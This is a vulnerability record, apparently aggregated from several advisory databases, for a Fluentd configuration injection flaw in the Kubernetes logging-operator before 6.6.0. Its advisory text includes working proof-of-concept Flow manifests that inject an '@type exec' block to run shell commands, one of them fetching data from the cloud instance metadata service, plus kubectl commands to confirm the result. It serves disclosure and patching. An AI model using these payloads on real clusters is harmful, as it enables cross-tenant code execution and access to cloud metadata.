{"id":"CVE-2026-54680","aliases":["CVE-2026-54680","GHSA-mjqf-28ph-426h","GO-2026-6142"],"related":[],"kind":"vulnerability","state":"published","title":"Logging operator has Fluentd configuration injection that allows remote code execution","summary":"Logging operator automates the deployment and configuration of Kubernetes logging pipelines. Prior to 6.6.0, the Fluentd configuration renderer FluentRender in pkg/sdk/logging/model/render/fluent.go writes CRD strings such as Flow record_transformer.records values directly into fluent.conf without escaping, allowing a user who can create Flow resources to inject a Fluentd <match **> block using @type exec and execute arbitrary commands inside the Fluentd aggregator. This issue is fixed in version 6.6.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Logging operator automates the deployment and configuration of Kubernetes logging pipelines. Prior to 6.6.0, the Fluentd configuration renderer FluentRender in pkg/sdk/logging/model/render/fluent.go writes CRD strings such as Flow record_transformer.records values directly into fluent.conf without escaping, allowing a user who can create Flow resources to inject a Fluentd <match **> block using @type exec and execute arbitrary commands inside the Fluentd aggregator. This issue is fixed in version 6.6.0.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nThe Fluentd configuration renderer in Logging operator writes strings from CRDs such as `Flow` directly into `fluent.conf` without escaping them. As a result, a user who can create `Flow` resources can inject Fluentd configuration by providing values that contain newlines.\n\nIn the confirmed path, a value in `record_transformer.records` can close the current `<record>` / `<filter>` block and add a new `<match **>` block. By specifying Fluentd's core `@type exec` plugin in that injected block, an attacker can execute arbitrary commands inside the Fluentd aggregator.\n\n### Details\n\nThe issue is in `FluentRender` in `pkg/sdk/logging/model/render/fluent.go`.\n\nhttps://github.com/kube-logging/logging-operator/blob/98275d2984aa8d731c4c975b8006aa433fc7bafa/pkg/sdk/logging/model/render/fluent.go#L60-L87\n\nEach parameter is rendered as `key value`, but values are not quoted, and newlines or characters such as `<` and `>` are not rejected. In addition, `indentedf` builds the string with `fmt.Sprintf` and then splits it on `\\n`, so newlines inside CRD values become new lines in the generated Fluentd configuration.\n\nOne input source is `record_transformer.records`. `ToDirective` passes `Record` (`map[string]string`) into `Params` without validation or escaping.\n\nhttps://github.com/kube-logging/logging-operator/blob/98275d2984aa8d731c4c975b8006aa433fc7bafa/pkg/sdk/logging/model/filter/record_transformer.go#L92-L103\n\nThe config check in `pkg/resources/fluentd/appconfigmap.go` runs `fluentd -c ... --dry-run`, but it passes as long as the injected configuration is syntactically valid Fluentd configuration. `@type exec` is a core Fluentd plugin and is available in the official Fluentd image.\n\n### PoC\n\nThe prerequisite is that Logging operator is running with a Fluentd aggregator configuration and that the attacker can create `Flow` and `Output` resources in a watched namespace, for example `tenant-a`.\n\nFirst, create a minimal `Output` as the log destination.\n\n```yaml\napiVersion: logging.banzaicloud.io/v1beta1\nkind: Output\nmetadata:\n  name: sink\n  namespace: tenant-a\nspec:\n  nullout: {}\n```\n\nNext, create a `Flow` whose `record_transformer.records` value contains an injected `@type exec` block.\n\n```yaml\napiVersion: logging.banzaicloud.io/v1beta1\nkind: Flow\nmetadata:\n  name: exfil\n  namespace: tenant-a\nspec:\n  match:\n    - select: {}\n  filters:\n    - record_transformer:\n        records:\n          - x: |-\n              y\n              </record>\n              </filter>\n              <match **>\n                @type exec\n                command /bin/sh -c \"id > /tmp/pwned\"\n                <format>\n                  @type json\n                </format>\n                <buffer>\n                  flush_interval 1s\n                </buffer>\n              </match>\n              <filter dummy.**>\n                @type record_transformer\n                <record>\n                  absorbed y\n  localOutputRefs:\n    - sink\n```\n\nAfter applying the manifests, the Fluentd configuration Secret generated by the operator contains `@type exec`.\n\n```sh\nkubectl apply -f output.yaml -f flow.yaml\n\nkubectl -n <control-namespace> get secret <logging>-fluentd-app \\\n  -o go-template='{{ index .data \"fluentd.conf\" }}' \\\n  | base64 -d | grep -A8 '@type exec'\n```\n\nWhen any Pod in `tenant-a` emits logs, those logs flow into the injected `<match **>` block. When `out_exec` flushes its buffer, the command is executed and can be confirmed as follows.\n\n```sh\nkubectl -n <control-namespace> exec <fluentd-aggregator-pod> -- cat /tmp/pwned\n# expected:\nuid=100(fluent) gid=101(fluent) groups=101(fluent)\n```\n\n### Impact\n\nThis is remote code execution (RCE) against the Fluentd aggregator managed by Logging operator.\nBecause the Fluentd aggregator collects and routes logs for namespaces / tenants in the Logging domain, a user who can create `Flow` / `Output` resources in one namespace can execute arbitrary commands inside the shared aggregator.\n\nIn environments such as AWS EKS, the Fluentd Pod may be able to reach the node's Instance Metadata Service (IMDS). This was confirmed on EKS 1.35. The core issue is arbitrary command execution, so the same class of attack is possible even when IMDSv2 is required. The following `Flow` example uses IMDSv1 only to make reachability easy to demonstrate.\n\n```yaml\napiVersion: logging.banzaicloud.io/v1beta1\nkind: Flow\nmetadata:\n  name: imds-poc\n  namespace: tenant-a\nspec:\n  match:\n    - select: {}\n  filters:\n    - record_transformer:\n        records:\n          - x: |-\n              y\n              </record>\n              </filter>\n              <match **>\n                @type exec\n                command /bin/sh -c \"curl -sS http://169.254.169.254/latest/meta-data/instance-id -o /tmp/imds-poc\"\n                <format>\n                  @type json\n                </format>\n                <buffer>\n                  flush_interval 1s\n                </buffer>\n              </match>\n              <filter dummy.**>\n                @type record_transformer\n                <record>\n                  absorbed y\n  localOutputRefs:\n    - sink\n```","format":"markdown","source":"ghsa"},{"lang":"en","text":"Logging operator has Fluentd configuration injection that allows remote code execution in github.com/kube-logging/logging-operator","format":"markdown","source":"go"},{"lang":"es","text":"El operador de logging automatiza el despliegue y la configuración de las canalizaciones de registro de Kubernetes. Antes de la versión 6.6.0, el renderizador de configuración de Fluentd, FluentRender, en pkg/SDK/logging/model/render/fluent.go, escribe cadenas CRD como los valores de Flow record_transformer.records directamente en fluent.conf sin escapar, permitiendo a un usuario que puede crear recursos Flow inyectar un bloque Fluentd <match **> usando @type exec y ejecutar comandos arbitrarios dentro del agregador de Fluentd. Este problema está solucionado en la versión 6.6.0.","source":"nvd"}],"published":"2026-07-29T16:57:16.913Z","modified":"2026-10-24T13:10:00.147Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":9.9,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":9.9,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":9.9,"rating":"CRITICAL"}],"cwes":["CWE-74","CWE-77"],"affected":[{"ranges":[{"version":"< 6.6.0","status":"affected"}],"vendor":"kube-logging","product":"logging-operator","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.0.0-20260608145523-cf437d7f1e05"}],"ecosystem":"Go","package":"github.com/kube-logging/logging-operator","purl":"pkg:golang/github.com/kube-logging/logging-operator","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.0.0-20260608145523-cf437d7f1e05"}],"ecosystem":"Go","package":"github.com/kube-logging/logging-operator","purl":"pkg:golang/github.com/kube-logging/logging-operator","source":"go"}],"references":[{"url":"https://github.com/kube-logging/logging-operator/security/advisories/GHSA-mjqf-28ph-426h","tags":["advisory","exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/kube-logging/logging-operator/commit/cf437d7f1e056c78740bf5716ac8bdebcf002425","tags":["fix","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/kube-logging/logging-operator/releases/tag/6.6.0","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/kube-logging/logging-operator","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-07-30T13:55:09.051Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-54680","url":"https://www.cve.org/CVERecord?id=CVE-2026-54680","licence":"CVE Terms of Use","modified":"2026-07-30T13:56:07.649Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-mjqf-28ph-426h","url":"https://github.com/advisories/GHSA-mjqf-28ph-426h","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:52.755Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-6142","url":"https://pkg.go.dev/vuln/GO-2026-6142","licence":"CC-BY-4.0","modified":"2026-08-18T15:00:23.169Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-54680","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54680","licence":"Public domain","modified":"2026-10-24T13:10:00.147Z"}],"updatedAt":"2026-11-25T22:59:30.457Z","epss":{"score":0.00525,"percentile":0.45947,"date":"2026-12-01T12:00:22.000Z"}}